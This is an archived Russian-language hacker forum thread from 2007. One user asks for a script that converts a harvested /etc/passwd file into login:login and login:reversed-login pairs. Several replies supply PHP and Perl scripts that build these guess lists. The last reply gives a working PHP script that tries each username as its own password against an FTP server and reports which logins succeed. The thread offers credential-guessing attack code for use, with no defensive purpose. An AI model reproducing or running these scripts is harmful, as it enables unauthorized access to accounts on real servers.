Просмотр полной версии : /etc/passwd (login:login) convert
guest3297
25.01.2007, 06:09
нужен скрипт который преобразует /etc/passwd в список вида login:login b login:ingol
+7 c меня.
Thanat0z
25.01.2007, 06:18
<?php
$handle = fopen ("passwords.txt", "r");
while (!feof ($handle)) {
$buffer = fgets($handle, 4096);
$reverse=strrev($buffer);
echo "".$buffer.":".$buffer." b ".$buffer.":".$reverse." <br>";
}
fclose ($handle);
?>
пробуй, на большее я сейчас не способен
Вот :
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN, "$in");
open(OUT, ">out");
while(<IN>){
chomp;
if (~/sh$/){ ## запишем только валидные аккаунты
($u,@udef)=split ":";
print OUT "$u:$u\n"; ## В виде пары login:login
}
}
close(IN);
close(OUT);
nc.STRIEM
25.01.2007, 18:07
<?php
$fo=fopen ("users.txt", "r");
$fr=fopen ("resalt.txt", "w");
while (!feof($fo))
{
$c=rtrim(fgets($fo));
$rez=split(':',$c);
$rez[1]=strrev($rez[1]);
fwrite($fr,$rez[0].':'.$rez[1]."\n");
}
fclose ($fo);
fclose ($fr);
?>
zombiexe
25.01.2007, 18:27
#!/usr/bin/perl
open(IN,"pwd.txt");
open(OUT,">pwds");
while(<IN>){
chomp;
if($_ ne ''){
($u,@undef)=split ':';
print OUT "$u:$u\n";
}
}
close(IN);
close(OUT);
Вот чего-то нашёл...
<?php
$filename="passwd"; // passwd file
$ftp_server="localhost"; // FTP-server
echo "FTP-server: <b>$ftp_server</b> <br><br>";
$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) {
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_user_name=$g[1];
$ftp_user_pass=$g[1];
$conn_id=ftp_connect($ftp_server);
$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (($conn_id) && ($login_result)) {
echo "<b>Connected with login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_user_name." - error<br>";
}
}}
?>
Че теперь каждый выпендрится чтоли своим кодом? =)
nc.STRIEM
26.01.2007, 00:31
закрыто.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot